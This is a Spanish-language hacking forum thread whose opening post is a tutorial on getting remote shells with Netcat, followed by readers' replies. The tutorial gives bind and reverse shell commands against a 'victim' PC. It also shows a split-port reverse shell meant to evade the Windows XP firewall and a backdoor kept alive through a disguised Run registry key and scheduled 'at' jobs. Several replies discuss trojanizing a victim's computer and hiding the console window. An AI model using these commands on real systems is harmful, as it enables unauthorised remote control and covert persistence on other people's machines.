elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
07 Septiembre 2008, 11:15  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, zhyzura)
| | |-+  Paper: Obtener shell con Netcat
0 Usuarios y 3 Visitantes están viendo este tema.
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Ir Abajo Imprimir
Autor Tema: Paper: Obtener shell con Netcat  (Leído 56653 veces)
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.103


"dieses ist es unsere Welt"


Ver Perfil
Paper: Obtener shell con Netcat
« en: 17 Febrero 2005, 08:45 »

YA ESTA DISPONIBLE EN PDF

Para todos aquellos que lo quieran descargar aqui estan dos url de descarga:

http://mx.geocities.com/zhyzura/Shell.con.Netcat.by.zhyzura.pdf

mirror brujo's (esta descarga es mas rapida y sin limite de conexion)

http://personal.telefonica.terra.es/web/alexb/manus/Shell.con.Netcat.by.zhyzura.zip


-[ OBTENER SHELL CON NETCAT ]-

Pues bien, como todos sabemos una de las tantas utilidades que tiene esta maravillosa herramienta es la de poder

devolvernos una shell de un equipo sin ninguna dificultad, inclusive aun estando detras de una red y por que no...

hasta del firewall de windows xp Sp2 :D.
muchos de los exploits que circulan por la red estan basados en el funcionamiento de netcat, asi de que aprender a

manejarlo es lo primero que se debe de saber.
Espero explicarme de una manera clara y sencilla de manera que a cualquiera que lea esto le quede claro como obtener una shell con netcat.

Ahora si dejemonos de tanta platica y comencemos con la practica :P...




Para mi ejemplo voy a utilizar dos equipos:
Equipo atacante [192.168.1.2]: Windows xp sp1.

Equipo victima [192.168.1.4]: Windows xp Sp2.



[SHELL DIRECTA CON LA VICTIMA]

Nota: si utilizas un puerto el cual este protegido por el firewall de windows tendras que habilitarlo previamente

para poderlo poner a la escucha.

Esto no es nada dificil de lograr lo unico que necesitamos de hacer es dejar un netcat a la escucha en la victima de

la siguiente manera  (solo decir que en win9x seria "command.com" y en un NT seria "cmd.exe"):

Código:
nc -l -d -e cmd.exe -p 6000

donde los flags significan lo siguiente:
-d  (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.

-e <prog>  (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.

-l  (Escuchando conexiones)
Deja a un puerto abierto en espera de una conexión

-p <puerto> (Puerto para pegarse)
Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.

-v   (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario.

-L Es mas recomendable usar esta opcion que la opcion "-l" ya que al cerrar una conexion podemos volver a iniciarla sin necesidad de que el equipo victima vuelva a reiniciar su pc. (en mis ejemplos voy a usar -l pero sugiero poner -L)


Lo ideal es que tengas el nc.exe dentro de la carpeta system32 en caso contrario tendras que especificar la

direccion en la que se encuentra:

Código:
C:\mi carpeta\nc -l -d -e cmd.exe -p 6000

una vez hecho esto solo falta que nosotros nos conectemos a la victima en el puerto especificado (en este caso es el

6000), y asi nos devolvera la shell:

Código:
nc -vv 192.168.1.4 6000

Recuerden que para que este tipo de conexion funcione, la victima tiene que tener una "ip publica", esto es que sea

visible por cualquier equipo con el simple hecho de que este conectedo a internet.





[REVERSE SHELL CON NETCAT]

Este tipo de conexion es ideal para equipos que se encuentran dentro de una red, lo unico que necesitamos es que el

equipo atacante tenga una "ip publica", de esta manera sera la victima quien se conecte a nosotros y no nosotros con

el.

Para ello primero tenemos que dejar un netcat a la escucha en el equipo atacante de la siguiente manera:

Código:
nc -vv -l -p 6000

ahora que el atacante esta preparado solo tenemos que hacer que la victima "sirva" la shell al puerto que tiene en

escucha el equipo atacante, de la siguiente manera:

Código:
nc -d -e cmd.exe 192.168.1.2 6000






[VOLTEAR LA SHELL CON NETCAT]

Como habran observado en los dos ejemplos anteriores para poder hacer una conexion exitosa con la victima, un

requisito indispensable es que el puerto que estemos utilizando lo tengamos habilitado por el firewall, asi de que

si la victima tiene el firewall activado a la hora de que realicemos dicho proceso le va a saltar la pantalla de

alerta del firewall que tiene incluido el Sp2 y eso nos va a delatar al momento :(.

por lo tanto lo mejor que podemos hacer para que esto no ocurra seria utilizar puertos que no esten filtrados por un

firewall o por un router con firewall integrado, para ello vamos a utilizar dos puertos uno para enviar la

informacion y otro para resivirla, y como todos sabran, la mayoria de los firewall tienen habilitados los puertos

80(http) y 25(smtp), inclusive el firewall del Sp2 los tiene habilitados por default (por eso adoro a microsoft

xDDD).

Suena algo raro y ademas dificil pero ya veran que es muy facil de hacer (este tipo de conexion funciona tambien con

equipos en los cuales la victima se encuentra dentro de una red).

En primer lugar vamos a necesitar poner dos netcat a la escucha en el equipo atacante (cada uno en su propia ventana

o indicador de comando, como gusten llamarle).

en uno ponemos el puerto 80:
Código:
nc -vv -l -p 80

y en el otro ponemos el puerto 25:
Código:
nc -vv -l -p 25

Ya que tenemos todo listo, basta con que el equipo victima ejecute el siguiente comando (recordar que en mi ejemplo

el atacante tiene ip 192.168.1.2 o tambien puede ser uno que posea una ip publica a fin de cuentas es una conexion

inversa :D):

Código:
nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25

y walaa!!!!! ya tenemos la shell de nuestra victima y el firewall del sp2 no dira ni pio, ya que por defecto admite

la entrada de informacion por el puerto 80 y la salida por el 25.

Ahora bien ¿como vamos a mandar los comandos a la shell remota y donde vamos a ver los resultados?
como dije anteriormente nosotros le vamos a enviar los comandos desde la ventana en la cual teniamos el netcat a la

escucha en el puerto 80 y automaticamente la victima nos va a devolver los resultados en la ventana que tiene el

netcat a la escucha en el puerto 25.






[DEJARLO COMO PUERTA TRASERA]

Una manera muy usada seria dejar una llave en el registro que nos ejecute el netcat cada que se prenda el pc

victima, para ello tenemos que hacer lo siguiente:

damos un click en inicio > ejecutar > regedit
una vez abierto el registro de windows nos ubicamos en la siguiente rama:

Citar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

damos click derecho > nuevo > valor alfanumerico.
le pònemos un nombre que no levante sospechas como rundll32, svchost, etc. ( no le vallan a poner servernetcat,

virus, etc por que los van a cachar rapidamente)
Despues le damos click derecho al valor que creamos > modificar. Y agregamos la ruta del netcat con sus respectivos

parametros:

si quieren que se quede en un puerto a la escucha:
Código:
nc -l -d -e cmd.exe -p <puerto>

si quieren que conecte con una ip:
Código:
nc -d -e cmd.exe ip.ip.ip.ip <puerto>

si quieren voltear la shell para que no la detcte un firewall seria (recuerden que es con la ip del atacante):
Código:
nc ip.ip.ip.ip <puerto> | cmd.exe | nc ip.ip.ip.ip <puerto>
solo agregar que si lo ponemos de esta manera, a la hora de que inicie el pc va a aparecer la ventana de ms-dos y si la cierra la victima perderemos la shell...
por lo tanto no olvidemos que podemos agregar la opcion -d para que permanesca oculta.
haciendo lo dicho anteriormente quedaria el comando de la siguiente manera:
Código:
nc -d ip.ip.ip.ip <puerto> | cmd.exe | nc -d ip.ip.ip.ip <puerto>


Para agregar una nueva llave al registro desde una shell remota lo que tenemos que teclear seria lo siguiente:
Código:
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Netcat /t REG_SZ /d "C:\nc -l -d

-e cmd.exe -p 6000"
(asi seria tomendo en cuenta que el nc esta en el directorio raiz del hdd)


una desventaja de agregar este tipo de entradas es que en las conexiones inversas el atacante primero tendria que

dejar un netcat a la escucha si no no funcionaria por lo tanto lo que podemos hacer aqui es dejarlo programado para

que se ejecute diariamente a determinada hora que nosotros ya tengamos previamente nuestro netcat a la espera de la

shell, para esto vamos a utilizar el comando AT, la sintaxis seria la siguiente:

Código:
at <hora> <dia> "comando"

por lo tanto quedaria asi:

Código:
at 6:00p /every:1 ""nc -d -e cmd.exe 192.168.1.2 6000""

o tambien:

Código:
at 6:00p /every:1 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""

de esta manera ejecutara el netcat todos los dias 1 de cada mes del año a las 6:00 p.m. asi de que si quieren que se ejecute todos los dias hagan lo mismo agregando los numeros 1,2,3...30, no los intenten poner todos de un solo jalon por que no les va a funcionar, lo van a tener que hacer de uno por uno:
Código:
at 6:00p /every:1 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""

Código:
at 6:00p /every:2 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""

Código:
at 6:00p /every:3 ""nc -d 192.168.1.2 80 | cmd.exe | nc -d 192.168.1.2 25""

Asi seria tomando en cuenta de que el nc ya se encuentre en system32, en caso contrario van a tener que poner la ruta del netcat. ejemplo:

Código:
at 6:00p /every:1 ""c:\directorionetcat\nc -d 192.168.1.2 80 | cmd.exe | c:\directorionetcat\nc -d 192.168.1.2 25""

para verificar que se haya agregado la tarea solo tecleen:
Código:
at

si quieren ver todas las opciones del comando at solo teclen:

Código:
at -h







Espero les haya gustado mi explicacion, cualquier duda o aclaracion sobre el presente texto favor de preguntar o

decirmelo lo antes posible :P

Referencia:
Sacandole Provecho a una exelente Utilidad by kliber

zaludox y Gracias a Gospel por animarme a hacer este texto :P  (siempre terminas convenciendome de hacer este tipo de cosas xDD)
« Última modificación: 12 Abril 2005, 04:11 por zhyzura » En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.576


monokuroumu


Ver Perfil WWW
Re: Paper: Obtener shell con Netcat
« Respuesta #1 en: 17 Febrero 2005, 09:30 »

Jajajaja... q dices!! Con lo genial q te ha quedado el paper!! Felicidades!  :)

No es q el contenido sea muy l33t, pero realmente se trata de material muy interesante y necesario, hay q saber manejar nc!!
Has evitado q la explicación q diste en el hilo http://foro.elhacker.net/index.php/topic,56363.0.html se pierda y ahora ya tenemos la información a mano para las veces q nos haga falta...

Gracias Zhyzura!

Salu2
En línea

Jec

Desconectado Desconectado

Mensajes: 1.150


Not-Public


Ver Perfil WWW
Re: Paper: Obtener shell con Netcat
« Respuesta #2 en: 17 Febrero 2005, 09:32 »

excelente texto, ya lo habia probado hace mucho, es excelente, tambien para usarlo de backdoor..
felicidades, el texto esta muy bien explicado y ayudara a mas de uno, es excelente para los cibers;)
saludos
En línea



Si quieres Hosting ilimitado totalmente, mandame un MP o un mail, el costo de 30 dolares por año!! puff, regalado
9reynas

Desconectado Desconectado

Mensajes: 47



Ver Perfil WWW
Re: Paper: Obtener shell con Netcat
« Respuesta #3 en: 17 Febrero 2005, 11:30 »

como siempre dos grandes de este foro y otros he visto post en otros foros de uds como en hackxcrack.. buneo ocmo dije dos grandes thank por darse el time 
9reynas
salu2 ;D
En línea
BADBYTE-K
Knowledge is power, Diesel-K
Colaborador

Desconectado Desconectado

Mensajes: 2.331


Aprende todo lo que este a tu alkance


Ver Perfil WWW
Re: Paper: Obtener shell con Netcat
« Respuesta #4 en: 17 Febrero 2005, 11:38 »

muy bueno, ahora hay que probarlo, con un poco de tiempo hare mis pruebitas


saludox
En línea

Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #5 en: 17 Febrero 2005, 15:04 »

Este foro cada dia va a mejor  :)

Excelente texto  :D
En línea
_mister

Desconectado Desconectado

Mensajes: 18


¡Amo YaBB SE!


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #6 en: 17 Febrero 2005, 22:13 »

Esta realmente bueno el post pero ahora me entra una duda, para lograr obtener la shell tienes que tener acceso fisico al pc, estoy cierto o errado, y si esoy cierto cual seria la finalidad de la shell puesto que con acceso fisico poderiamos hacer qualquier cosa en el sistema
En línea
fandango
Another
Colaborador

Conectado Conectado

Mensajes: 1.827


Powered By Slackware!


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #7 en: 18 Febrero 2005, 00:38 »

No es necesario tener acceso fisico para alguna tecnicas por ejemplo una vez que hallas entrado al sistema puedes bajarle el netcat y dejarlo como backdoor. Por cierto muy bueno el texto zhyzura, en .pdf no les va??

Saludos.
En línea

user@slackware:~$./w00t
root@slackware:~#
root@slackware:~#cat /etc/shadow
OWNED![/size]


_mister

Desconectado Desconectado

Mensajes: 18


¡Amo YaBB SE!


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #8 en: 18 Febrero 2005, 04:41 »

Sinceramente no te entiendo
Citar
No es necesario tener acceso fisico
ya que si tu consigues tener acceso al sistema no creo que el mejor backdoor seria el NetCat ya que es muy facil de detectar.
Mas quizas una finalidad buena seria crear un .exe que vaje el archivo de un ftp y de entradas en el registro de win y assi lo ejecute cadavez que inicie el sistema.
Sin embargo no podemos dejar de reconocer que es una maravillosa herramienta.
Espero sugestiones para el .exe despues que lo termine de programar lo voy a colgar en una web y espero sus sugestiones  ;)
Salu2s para todos..
En línea
fandango
Another
Colaborador

Conectado Conectado

Mensajes: 1.827


Powered By Slackware!


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #9 en: 18 Febrero 2005, 05:28 »

Citar
No es necesario tener acceso fisico para algunas tecnicas

Fue solo un ejemplo ;D
En línea

user@slackware:~$./w00t
root@slackware:~#
root@slackware:~#cat /etc/shadow
OWNED![/size]


LOKORIP

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #10 en: 18 Febrero 2005, 16:49 »

una duda sobre el paper en el apartado voltear shell con netcat

cuando te refieres a burlar el firewall te refieres el de la victima o el firewall del atacante   

por que veo que te refieres al de la victima y no es posible por que si tu como atacante dejas los puertos 25 y 80 y a la victima le pones los comandos para hacer la reverseshell que son estos

nc ipatacante 80 | cmd.exe | nc ipatacante 25

entonces lo que va apasar en la victima es que la pc de la victima intentara conectarse por unos puertos al azar
ejemplos 3987 y 6459 y el router no permitira la salida de esa informacion o el firewall saltara 

y es que los puertos 25 y 80 son los de tu pc que vas a  establecer conexion no los de tu victima los de tu victima seran al azar

CORREGI ESO ZHYZURA
En línea
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.103


"dieses ist es unsere Welt"


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #11 en: 19 Febrero 2005, 11:57 »

@ _mister

una manera de lograr obtener una shell remota es explotar una vulnerabilidad como por ejemplo con un exploit.
de esa manera no ocupas tener acceso fisico.


@LOKORIP

Citar
entonces lo que va apasar en la victima es que la pc de la victima intentara conectarse por unos puertos al azar
ejemplos 3987 y 6459 y el router no permitira la salida de esa informacion o el firewall saltara 
en realidad no se conecta con puertos al azar utiliza los mismos con los que va a conectar....
si gustas puedes hacer la prueba con un Sp2 y el firewall habilitado, te aseguro que no dira saldra ninguna advertencia.
eso es algo maravilloso del netcat  ;)


saludos
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
Aironjack

Desconectado Desconectado

Mensajes: 663


[b]Las preguntas sobre wireless en el foro[/b]


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #12 en: 20 Febrero 2005, 04:22 »

Un gran manual! Sí señor! Espero que te animes a pasarlo a formato pdf y que se cuelge en textos/manuales del web de este foro.
Yo que estoy empezando a manejarme con el netcat he de decir que no tuve problemas para entenderlo. Estoy leyendo el manual de Kibler (se lo recomiendo).
Una duda, las situaciones para usar netcat son:
1.- Acceso físico a la máquina + netcat
2.- Exploits + netcat

¿me dejo alguna?
Saludos a todos, y seguid así.
En línea

***** Ortografía = Cultura ***** Escriban bien por favor.
Un router no es un juguete. Robar internet es ilegal y puede ser castigado con la cárcel. Ser menor de edad, no significa ser inconsciente mental.
n3o07

Desconectado Desconectado

Mensajes: 11



Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #13 en: 20 Febrero 2005, 08:11 »

Excelente manual zhyzura  ;D, pero tengo un pequeño problema he estado haciendo pruebas para troyanizar una compu con Radmin 2.1 (La máquina victima tiene windoze XP SP2), que publico "octalh" para que, en vez de que se conecte cuando inicia la compu, se conecte a una determinada hora como una puerta trasera (VOLTEAR LA SHELL CON NETCAT); pero cuando se llega la hora de regresar la shell de la victima le aparece una ventana de ms-DOS y eso trae como consecuencia que la victima se de cuenta que se esta ejecuntando el netcat, aunque se le alla cambiado de nombre porque aparece la siguiente linea en la ventana de ms-DOS. :'(

Código:
cmd:

Ahora que utlizo la configuracion que dice "octalh" cuando inicia la maquina, tambien aparece la ventana de ms-DOS y con la misma linea.... :'(

Supuestamente la opcion del netcat:

Código:
nc -d -e cmd.exe xxx.xxx.xxx.xxx [puerto]

con la opcion "-d" es para que trabaje en segundo plano...

Código:
at [hora]  ""aviax xxx.xxx.xxx.xxx 80 | cmd.exe | aviax xxx.xxx.xxx.xxx 25""


cuando se llega la hora, le aparece una ventana de ms-DOS indicandole que se esta ejecuntando el programa; pero ahora no aparece con el siguiente titulo en la ventana de ms-DOS y una linea con el comando "cmd:"

Código:
C:\windows\system32\svchost.exe

espero puedan ayudarme ;D....

n3o07

 
« Última modificación: 21 Febrero 2005, 15:11 por n3o07 » En línea

The Matrix - Believe The Unbelievable

«--´¯`--–…•´--».-.- >  µ ∂   η3ο07   ¶  ƒ <  -.-.«-`•…–--´¯`-----»
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.103


"dieses ist es unsere Welt"


Ver Perfil
Re: Paper: Obtener shell con Netcat
« Respuesta #14 en: 21 Febrero 2005, 09:35 »

creo que voy a tener que verificar eso por que a mi no me salio ninguna ventana ya que la shell se ejecuta con privilegios de system y por lo yanto no debe de aparecer ninguna ventana ya que system trabaja en otro entorno muy diferente al del usuario.

de todas maneras hoy averiguo por que te aparece la ventana...
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC